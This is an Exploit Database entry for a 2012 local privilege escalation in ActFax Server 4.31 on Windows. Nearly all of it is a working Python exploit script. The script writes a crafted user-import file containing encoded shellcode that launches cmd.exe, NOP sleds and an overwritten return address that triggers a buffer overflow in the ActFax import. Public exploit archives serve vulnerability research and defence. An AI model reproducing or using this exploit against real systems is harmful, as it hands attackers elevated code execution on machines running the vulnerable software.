



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

ActFax Server 4.31 Build 0225 - Local Privilege Escalation

EDB-ID:

20915

CVE:

EDB Verified: 

Author:

[CRAIG FREYMAN](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2012-08-29

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
#!/usr/bin/python
#Title: ActFax 4.31 Local Privilege Escalation Exploit
#Author: Craig Freyman (@cdlzz)
#Discovered: July 10, 2012
#Vendor Notified: June 12, 2012
#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html

#msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_upper -f c
#[*] x86/alpha_upper succeeded with size 466 (iteration=1)
sc = (
"\x89\xe5\xdb\xce\xd9\x75\xf4\x58\x50\x59\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a"
"\x48\x4d\x59\x45\x50\x35\x50\x53\x30\x43\x50\x4d\x59\x4a"
"\x45\x56\x51\x48\x52\x55\x34\x4c\x4b\x36\x32\x50\x30\x4c"
"\x4b\x36\x32\x44\x4c\x4c\x4b\x30\x52\x52\x34\x4c\x4b\x34"
"\x32\x56\x48\x34\x4f\x38\x37\x51\x5a\x37\x56\x46\x51\x4b"
"\x4f\x46\x51\x39\x50\x4e\x4c\x47\x4c\x35\x31\x43\x4c\x43"
"\x32\x36\x4c\x31\x30\x49\x51\x48\x4f\x34\x4d\x55\x51\x58"
"\x47\x4a\x42\x4c\x30\x30\x52\x50\x57\x4c\x4b\x50\x52\x52"
"\x30\x4c\x4b\x37\x32\x47\x4c\x55\x51\x58\x50\x4c\x4b\x47"
"\x30\x33\x48\x4b\x35\x39\x50\x34\x34\x50\x4a\x33\x31\x4e"
"\x30\x30\x50\x4c\x4b\x57\x38\x52\x38\x4c\x4b\x36\x38\x51"
"\x30\x33\x31\x4e\x33\x4b\x53\x57\x4c\x57\x39\x4c\x4b\x56"
"\x54\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b\x4f\x46\x51\x4f"
"\x30\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x55\x51\x39\x57\x50"
"\x38\x4b\x50\x32\x55\x5a\x54\x53\x33\x43\x4d\x4b\x48\x47"
"\x4b\x33\x4d\x46\x44\x53\x45\x5a\x42\x36\x38\x4c\x4b\x30"
"\x58\x47\x54\x45\x51\x49\x43\x45\x36\x4c\x4b\x44\x4c\x30"
"\x4b\x4c\x4b\x36\x38\x55\x4c\x53\x31\x59\x43\x4c\x4b\x54"
"\x44\x4c\x4b\x55\x51\x48\x50\x4c\x49\x31\x54\x47\x54\x36"
"\x44\x51\x4b\x31\x4b\x55\x31\x36\x39\x31\x4a\x36\x31\x4b"
"\x4f\x4d\x30\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x55\x42\x5a"
"\x4b\x4d\x56\x31\x4d\x52\x4a\x45\x51\x4c\x4d\x4d\x55\x4f"
"\x49\x45\x50\x53\x30\x53\x30\x46\x30\x42\x48\x36\x51\x4c"
"\x4b\x52\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4a\x50\x4e"
"\x55\x39\x32\x31\x46\x55\x38\x59\x36\x4d\x45\x4f\x4d\x4d"
"\x4d\x4b\x4f\x58\x55\x57\x4c\x35\x56\x53\x4c\x44\x4a\x4d"
"\x50\x4b\x4b\x4d\x30\x52\x55\x55\x55\x4f\x4b\x37\x37\x35"
"\x43\x52\x52\x32\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x4e"
"\x35\x32\x43\x32\x4d\x45\x34\x46\x4e\x35\x35\x43\x48\x45"
"\x35\x33\x30\x41\x41")

frontpad = "\x90" * 10
eip = "\x22\x1b\x40\x00" #00401B22 RETN actfax.exe
backpad = "\x90" * 6000
buff = frontpad + sc + "\x90" * (502 - len(sc)) + eip + backpad

f = open("pwnag3.exp", "w")
f.write(
"User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect
Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t"
"Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName
5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t"
"Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay
Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t"
"Printer Name Outgoing\tReport Outgoing\tAutomatic Printing
Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t"
"Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original
Message\tUser-Defined Archive Settings\tExport Outgoing\t"
"Export Incoming\tExport-Path\tMark as Read\x0d\x0a"+buff+"\x0d\x0a")
f.close()
```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

Tags:



Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.